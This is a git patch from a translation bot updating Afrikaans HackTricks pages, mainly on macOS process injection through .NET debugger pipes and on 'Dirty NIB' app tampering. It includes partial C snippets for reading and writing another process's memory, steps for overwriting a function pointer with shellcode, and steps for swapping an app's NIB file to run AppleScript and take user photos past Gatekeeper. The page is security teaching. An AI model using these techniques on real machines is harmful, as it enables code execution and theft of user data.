From 534f75b696730199ba18be0517a96a9eb5f14b9b Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 19 Jul 2024 05:23:49 +0000 Subject: [PATCH] Translated ['macos-hardening/macos-security-and-privilege-escalation/mac --- .../macos-.net-applications-injection.md | 78 +++-- .../macos-proces-abuse/macos-dirty-nib.md | 98 +++--- .../macos-thread-injection-via-task-port.md | 160 ++++----- .../README.md | 90 ++--- .../macos-java-apps-injection.md | 61 ++-- ...yld-hijacking-and-dyld_insert_libraries.md | 70 ++-- .../macos-ruby-applications-injection.md | 44 +-- .../macos-xattr-acls-extra-stuff.md | 170 +++++++-- .../macos-sandbox/README.md | 137 ++++---- .../macos-default-sandbox-debug.md | 48 +-- .../macos-office-sandbox-bypasses.md | 75 ++-- .../macos-tcc-bypasses/macos-apple-scripts.md | 52 +-- .../macos-tcc/macos-tcc-payloads.md | 138 ++++---- misc/references.md | 34 +- .../android-app-pentesting/adb-commands.md | 159 ++++----- .../android-applications-basics.md | 299 ++++++++-------- .../android-app-pentesting/apk-decompilers.md | 72 ++-- .../content-protocol.md | 62 ++-- .../exploiting-a-debuggeable-applciation.md | 126 ++++--- .../frida-tutorial/README.md | 328 +++--------------- .../intent-injection.md | 52 +-- .../make-apk-accept-ca-certificate.md | 53 +-- .../manual-deobfuscation.md | 70 ++-- .../react-native-application.md | 66 ++-- .../android-app-pentesting/smali-changes.md | 156 +++------ .../spoofing-your-location-in-play-store.md | 66 ++-- .../android-app-pentesting/tapjacking.md | 72 ++-- mobile-pentesting/cordova-apps.md | 316 ++--------------- .../basic-ios-testing-operations.md | 134 +++---- ...-entitlements-from-compiled-application.md | 55 ++- .../ios-pentesting/ios-app-extensions.md | 76 ++-- .../ios-pentesting/ios-basics.md | 140 ++++---- ...m-uri-handlers-deeplinks-custom-schemes.md | 60 ++-- .../ios-hooking-with-objection.md | 69 ++-- .../ios-pentesting/ios-protocol-handlers.md | 58 ++-- .../ios-serialisation-and-encoding.md | 63 ++-- .../ios-pentesting/ios-uiactivity-sharing.md | 76 ++-- .../ios-pentesting/ios-uipasteboard.md | 76 ++-- .../ios-pentesting/ios-universal-links.md | 74 ++-- .../ios-pentesting/ios-webviews.md | 135 +++---- mobile-pentesting/xamarin-apps.md | 67 ++-- ...0-network-data-management-protocol-ndmp.md | 70 ++-- .../1080-pentesting-socks.md | 150 ++------ .../137-138-139-pentesting-netbios.md | 60 ++-- ...-24008-24009-49152-pentesting-glusterfs.md | 51 +-- .../3128-pentesting-squid.md | 60 ++-- .../3260-pentesting-iscsi.md | 108 ++---- .../3299-pentesting-saprouter.md | 65 ++-- .../3632-pentesting-distcc.md | 48 +-- .../3690-pentesting-subversion-svn-server.md | 94 ++--- ...ntesting-erlang-port-mapper-daemon-epmd.md | 60 ++-- .../44134-pentesting-tiller-helm.md | 54 +-- .../44818-ethernetip.md | 78 ++--- .../47808-udp-bacnet.md | 46 +-- .../4840-pentesting-opc-ua.md | 50 +-- .../49-pentesting-tacacs+.md | 58 ++-- .../5000-pentesting-docker-registry.md | 159 +++++---- ...060-50070-50075-50090-pentesting-hadoop.md | 37 +- .../512-pentesting-rexec.md | 38 +- .../515-pentesting-line-printer-daemon-lpd.md | 46 +-- .../5353-udp-multicast-dns-mdns.md | 61 ++-- .../5555-android-debug-bridge.md | 52 +-- .../5601-pentesting-kibana.md | 52 +-- .../5671-5672-pentesting-amqp.md | 83 ++--- .../584-pentesting-afp.md | 52 +-- .../5984-pentesting-couchdb.md | 149 ++++---- network-services-pentesting/623-udp-ipmi.md | 99 +++--- network-services-pentesting/69-udp-tftp.md | 46 +-- .../7-tcp-udp-pentesting-echo.md | 52 +-- .../873-pentesting-rsync.md | 126 ++----- .../9000-pentesting-fastcgi.md | 44 +-- .../9001-pentesting-hsqldb.md | 62 ++-- network-services-pentesting/9100-pjl.md | 56 ++- network-services-pentesting/cassandra.md | 86 ++--- .../pentesting-264-check-point-firewall-1.md | 48 +-- ...ting-631-internet-printing-protocol-ipp.md | 44 +-- .../pentesting-compaq-hp-insight-manager.md | 40 ++- .../pentesting-finger.md | 58 ++-- ...entesting-jdwp-java-debug-wire-protocol.md | 76 ++-- .../pentesting-modbus.md | 78 ++--- .../pentesting-rlogin.md | 40 ++- network-services-pentesting/pentesting-rsh.md | 42 +-- 82 files changed, 3110 insertions(+), 3903 deletions(-) diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md index 915dd6927..3681c644a 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md @@ -1,30 +1,31 @@ -# macOS .Net Toepassingsinspuiting +# macOS .Net Applications Injection + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Ander maniere om HackTricks te ondersteun: - -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -**Hierdie is 'n opsomming van die berig [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). Kyk daarvoor vir verdere besonderhede!** +**Dit is 'n opsomming van die pos [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). Kyk daarna vir verdere besonderhede!** -## .NET Core-afstelwerk +## .NET Core Debugging -### **Vestiging van 'n afstel-sessie** +### **Die Vestiging van 'n Debugging Sessie** -Die hantering van kommunikasie tussen die afsteler en die afstelobjek in .NET word bestuur deur [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Hierdie komponent stel twee genoemde pype per .NET-proses op soos gesien in [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), wat geïnisieer word via [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Hierdie pype word gesuffix met **`-in`** en **`-out`**. +Die hantering van kommunikasie tussen die debugger en debuggee in .NET word bestuur deur [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Hierdie komponent stel twee benoemde pype per .NET proses op soos gesien in [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), wat geinitieer word via [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Hierdie pype is gesuffikseerd met **`-in`** en **`-out`**. -Deur die gebruiker se **`$TMPDIR`** te besoek, kan daar afstelpype gevind word wat beskikbaar is vir die afstel van .Net-toepassings. +Deur die gebruiker se **`$TMPDIR`** te besoek, kan 'n mens debugging FIFOs vind wat beskikbaar is vir debugging .Net toepassings. -[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) is verantwoordelik vir die bestuur van kommunikasie vanaf 'n afsteler. Om 'n nuwe afstel-sessie te begin, moet 'n afsteler 'n boodskap stuur via die `out`-pyp wat begin met 'n `MessageHeader`-struktuur, wat in die .NET-bronkode in detail beskryf word: +[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) is verantwoordelik vir die bestuur van kommunikasie van 'n debugger. Om 'n nuwe debugging sessie te begin, moet 'n debugger 'n boodskap via die `out` pyp stuur wat begin met 'n `MessageHeader` struktuur, soos in die .NET bronskode uiteengesit: ```c struct MessageHeader { MessageType m_eType; // Message type @@ -43,7 +44,7 @@ DWORD m_dwMinorVersion; BYTE m_sMustBeZero[8]; } ``` -Om 'n nuwe sessie aan te vra, word hierdie struktuur soos volg gevul, deur die boodskap tipe te stel as `MT_SessionRequest` en die protokol weergawe as die huidige weergawe: +Om 'n nuwe sessie aan te vra, word hierdie struktuur soos volg ingevul, wat die boodskap tipe op `MT_SessionRequest` stel en die protokol weergawe op die huidige weergawe: ```c static const DWORD kCurrentMajorVersion = 2; static const DWORD kCurrentMinorVersion = 0; @@ -54,18 +55,18 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion; sSendHeader.m_cbDataBlock = sizeof(SessionRequestData); ``` -Hierdie kop is dan oorgestuur na die teiken deur die `write` syscall, gevolg deur die `sessionRequestData` struktuur wat 'n GUID vir die sessie bevat: +Hierdie kop is dan na die teiken gestuur met die `write` syscall, gevolg deur die `sessionRequestData` struktuur wat 'n GUID vir die sessie bevat: ```c write(wr, &sSendHeader, sizeof(MessageHeader)); memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData)); write(wr, &sDataBlock, sizeof(SessionRequestData)); ``` -'n Leesoperasie op die `out` pyp bevestig die sukses of mislukking van die opsporingsessie vestiging: +'n Leesoperasie op die `out`-pyp bevestig die sukses of mislukking van die debugging-sessie se vestiging: ```c read(rd, &sReceiveHeader, sizeof(MessageHeader)); ``` -## Lees van Geheue -Sodra 'n foutopsporingsessie tot stand gebring is, kan geheue gelees word deur die [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) boodskapstipe te gebruik. Die funksie readMemory word in detail beskryf en voer die nodige stappe uit om 'n leesversoek te stuur en die antwoord te ontvang: +## Geheue Lees +Sodra 'n foutopsporing sessie gevestig is, kan geheue gelees word met behulp van die [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) boodskap tipe. Die funksie readMemory is gedetailleerd, en voer die nodige stappe uit om 'n leesversoek te stuur en die antwoord te verkry: ```c bool readMemory(void *addr, int len, unsigned char **output) { // Allocation and initialization @@ -79,9 +80,9 @@ return true; ``` Die volledige bewys van konsep (POC) is beskikbaar [hier](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b). -## Skryf van Geheue +## Skryf Geheue -Op dieselfde manier kan geheue geskryf word met behulp van die `writeMemory`-funksie. Die proses behels die instelling van die boodskap tipe na `MT_WriteMemory`, die spesifisering van die adres en lengte van die data, en dan die stuur van die data: +Op soortgelyke wyse kan geheue geskryf word met die `writeMemory` funksie. Die proses behels om die boodskap tipe op `MT_WriteMemory` te stel, die adres en lengte van die data te spesifiseer, en dan die data te stuur: ```c bool writeMemory(void *addr, int len, unsigned char *input) { // Increment IDs, set message type, and specify memory location @@ -93,37 +94,38 @@ bool writeMemory(void *addr, int len, unsigned char *input) { return true; } ``` -Die betrokke POC is beskikbaar [hier](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5). +Die geassosieerde POC is beskikbaar [hier](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5). -## .NET Core Kode-uitvoering +## .NET Core Kode Uitvoering -Om kode uit te voer, moet 'n geheuegebied met rwx-permissies geïdentifiseer word, wat gedoen kan word deur gebruik te maak van vmmap -pages: +Om kode uit te voer, moet 'n geheuegebied met rwx-toestemmings geïdentifiseer word, wat gedoen kan word met vmmap -pages: ```bash vmmap -pages [pid] vmmap -pages 35829 | grep "rwx/rwx" ``` -Die opsporing van 'n plek om 'n funksie-aanwyservariabele te oorskryf, is noodsaaklik, en in .NET Core kan dit gedoen word deur die **Dinamiese Funksie Tabel (DFT)** te teiken. Hierdie tabel, wat in [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h) beskryf word, word deur die uitvoeringstyd gebruik vir JIT-samestellingshulpfunksies. +Locating a place to overwrite a function pointer is necessary, and in .NET Core, this can be done by targeting the **Dynamic Function Table (DFT)**. This table, detailed in [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), is used by the runtime for JIT compilation helper functions. -Vir x64-stelsels kan handtekeningsoektog gebruik word om 'n verwysing na die simbool `_hlpDynamicFuncTable` in `libcorclr.dll` te vind. +Vir x64 stelsels kan handtekening jag gebruik word om 'n verwysing na die simbool `_hlpDynamicFuncTable` in `libcorclr.dll` te vind. -Die `MT_GetDCB`-ontlederfunksie verskaf nuttige inligting, insluitend die adres van 'n hulpfunksie, `m_helperRemoteStartAddr`, wat die ligging van `libcorclr.dll` in die prosesgeheue aandui. Hierdie adres word dan gebruik om 'n soektog na die DFT te begin en 'n funksie-aanwyser met die adres van die skulpkode te oorskryf. +Die `MT_GetDCB` debuggingsfunksie bied nuttige inligting, insluitend die adres van 'n helper funksie, `m_helperRemoteStartAddr`, wat die ligging van `libcorclr.dll` in die prosesgeheue aandui. Hierdie adres word dan gebruik om 'n soektog na die DFT te begin en 'n funksie-aanwyser met die shellcode se adres te oorskryf. -Die volledige POC-kode vir inspuiting in PowerShell is beskikbaar [hier](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6). +The full POC code for injection into PowerShell is accessible [here](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6). -## Verwysings +## References * [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/) +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Ander maniere om HackTricks te ondersteun: - -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks in PDF aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md index 798acd178..c6701f2bd 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md @@ -1,86 +1,72 @@ -# macOS Vuil NIB +# macOS Dirty NIB + +{% hint style="success" %} +Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Ander maniere om HackTricks te ondersteun: - -* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke. +* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! +* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} **Vir verdere besonderhede oor die tegniek, kyk na die oorspronklike pos van: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Hier is 'n opsomming: -NIB-lêers, deel van Apple se ontwikkelingsekosisteem, is bedoel vir die definisie van **UI-elemente** en hul interaksies in programme. Dit sluit geserializeerde voorwerpe soos vensters en knoppies in, en word tydens uitvoering gelaai. Ten spyte van hul voortdurende gebruik, bevorder Apple nou Storyboards vir 'n meer omvattende UI-vloei-visualisering. +NIB-lêers, deel van Apple se ontwikkelings-ekosisteem, is bedoel om **UI-elemente** en hul interaksies in toepassings te definieer. Hulle sluit geserialiseerde voorwerpe soos vensters en knoppies in, en word tydens uitvoering gelaai. Ten spyte van hul voortdurende gebruik, beveel Apple nou Storyboards aan vir 'n meer omvattende visualisering van UI-stroom. ### Sekuriteitskwessies met NIB-lêers -Dit is krities om te let dat **NIB-lêers 'n sekuriteitsrisiko kan wees**. Hulle het die potensiaal om **arbitrêre opdragte uit te voer**, en veranderinge aan NIB-lêers binne 'n toepassing verhoed nie dat Gatekeeper die toepassing uitvoer nie, wat 'n beduidende bedreiging vorm. +Dit is belangrik om op te let dat **NIB-lêers 'n sekuriteitsrisiko kan wees**. Hulle het die potensiaal om **arbitraire opdragte uit te voer**, en veranderinge aan NIB-lêers binne 'n app hinder nie Gatekeeper om die app uit te voer nie, wat 'n beduidende bedreiging inhou. -### Vuil NIB-inspuitingsproses -#### Skep en Opstel van 'n NIB-lêer -1. **Aanvanklike opstel**: -- Skep 'n nuwe NIB-lêer met behulp van XCode. -- Voeg 'n voorwerp by die koppelvlak, stel sy klas in as `NSAppleScript`. -- Stel die aanvanklike `bron`-eienskap op via Gebruikersgedefinieerde Runtime-attribuut. +### Dirty NIB Inspuitingsproses +#### Skep en Stel 'n NIB-lêer op +1. **Beginopstelling**: +- Skep 'n nuwe NIB-lêer met XCode. +- Voeg 'n objek by die koppelvlak, stel sy klas op `NSAppleScript`. +- Konfigureer die aanvanklike `source` eienskap via Gebruiker Gedefinieerde Runtime Attribuut. -2. **Kode-uitvoeringsgadget**: -- Die opstel fasiliteer die uitvoering van AppleScript op aanvraag. -- Integreer 'n knoppie om die `Apple Script`-voorwerp te aktiveer, wat spesifiek die `executeAndReturnError:`-selekteerder aktiveer. +2. **Kode-uitvoeringsgadgets**: +- Die opstelling fasiliteer die uitvoering van AppleScript op aanvraag. +- Integreer 'n knoppie om die `Apple Script` objek te aktiveer, spesifiek die `executeAndReturnError:` selektor te aktiveer. 3. **Toetsing**: - 'n Eenvoudige Apple Script vir toetsdoeleindes: ```bash -stel dieDialogText in op "PWND" -vertoon dialoogvenster dieDialogText +set theDialogText to "PWND" +display dialog theDialogText ``` -- Toets deur dit in die XCode-afskermingsprogram te hardloop en op die knoppie te klik. +- Toets deur in die XCode-debugger te loop en op die knoppie te klik. -#### Teiken van 'n Toepassing (Voorbeeld: Pages) +#### Teiken 'n Toepassing (Voorbeeld: Pages) 1. **Voorbereiding**: -- Kopieer die teiken-toepassing (bv. Pages) na 'n afsonderlike gids (bv. `/tmp/`). -- Begin die toepassing om Gatekeeper-kwessies te omseil en dit in die kas te stoor. +- Kopieer die teiken-app (bv. Pages) na 'n aparte gids (bv. `/tmp/`). +- Begin die app om Gatekeeper-probleme te omseil en dit te kas. -2. **Oorskryf van NIB-lêer**: +2. **Oorskrywing van NIB-lêer**: - Vervang 'n bestaande NIB-lêer (bv. About Panel NIB) met die vervaardigde DirtyNIB-lêer. 3. **Uitvoering**: -- Stel die uitvoering in werking deur met die toepassing te interaksieer (bv. die `About`-keuse-item te kies). +- Activeer die uitvoering deur met die app te interaksie (bv. die `About` menu-item te kies). #### Bewys van Konsep: Toegang tot Gebruikersdata -- Wysig die AppleScript om toegang tot en onttrekking van gebruikersdata, soos foto's, sonder gebruikersgoedkeuring, te verkry. +- Wysig die AppleScript om toegang te verkry tot en gebruikersdata, soos foto's, sonder gebruikers toestemming te onttrek. -### Kodevoorbeeld: Skadelike .xib-lêer -- Kry toegang tot en hersien 'n [**voorbeeld van 'n skadelike .xib-lêer**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) wat die uitvoering van arbitrêre kode demonstreer. +### Kode Voorbeeld: Kwaadwillige .xib-lêer +- Toegang tot en hersien 'n [**voorbeeld van 'n kwaadwillige .xib-lêer**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) wat die uitvoering van arbitraire kode demonstreer. -### Aanspreek van Lanceringbeperkings -- Lanceringbeperkings verhoed dat toepassings uit onverwagte plekke (bv. `/tmp`) uitgevoer word. -- Dit is moontlik om toepassings te identifiseer wat nie deur Lanceringbeperkings beskerm word nie en hulle teiken vir NIB-lêer-inspuiting. +### Aanspreek van Beginbeperkings +- Beginbeperkings hinder app-uitvoering vanaf onverwagte plekke (bv. `/tmp`). +- Dit is moontlik om apps te identifiseer wat nie deur Beginbeperkings beskerm word nie en hulle te teiken vir NIB-lêerinspuiting. -### Addisionele macOS-beskerming -Vanaf macOS Sonoma en verder is wysigings binne App-bundels beperk. Vroeëre metodes het egter die volgende behels: -1. Kopiëring van die toepassing na 'n ander plek (bv. `/tmp/`). -2. Hersiening van gidsname binne die App-bundel om aanvanklike beskerming te omseil. -3. Na die uitvoering van die toepassing om by Gatekeeper te registreer, wysiging van die App-bundel (bv. vervanging van MainMenu.nib met Dirty.nib). -4. Terughernoeming van gidsname en heruitvoering van die toepassing om die geïnspireerde NIB-lêer uit te voer. +### Addisionele macOS Beskermings +Vanaf macOS Sonoma is wysigings binne App-pakkette beperk. egter, vroeëre metodes het ingesluit: +1. Kopieer die app na 'n ander plek (bv. `/tmp/`). +2. Hernoem gidse binne die app-pakket om aanvanklike beskermings te omseil. +3. Na die uitvoering van die app om by Gatekeeper te registreer, wysig die app-pakket (bv. vervang MainMenu.nib met Dirty.nib). +4. Hernoem gidse terug en herloop die app om die ingespuite NIB-lêer uit te voer. -**Let op**: Onlangse macOS-opdaterings het hierdie uitbuiting beperk deur lêerwysigings binne App-bundels na Gatekeeper-kasgeheue te verhoed, wat die uitbuiting ondoeltreffend maak. - - -
- -Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! - -Ander maniere om HackTricks te ondersteun: - -* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke. - -
+**Let wel**: Onlangs macOS-opdaterings het hierdie uitbuiting verminder deur lêerwysigings binne app-pakkette na Gatekeeper-kas te voorkom, wat die uitbuiting ondoeltreffend maak. diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md index 03e205ab5..a8545b145 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md @@ -1,68 +1,69 @@ -# macOS Draadinspuiting via Taakpoort +# macOS Thread Injection via Task port + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Ander maniere om HackTricks te ondersteun: - -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
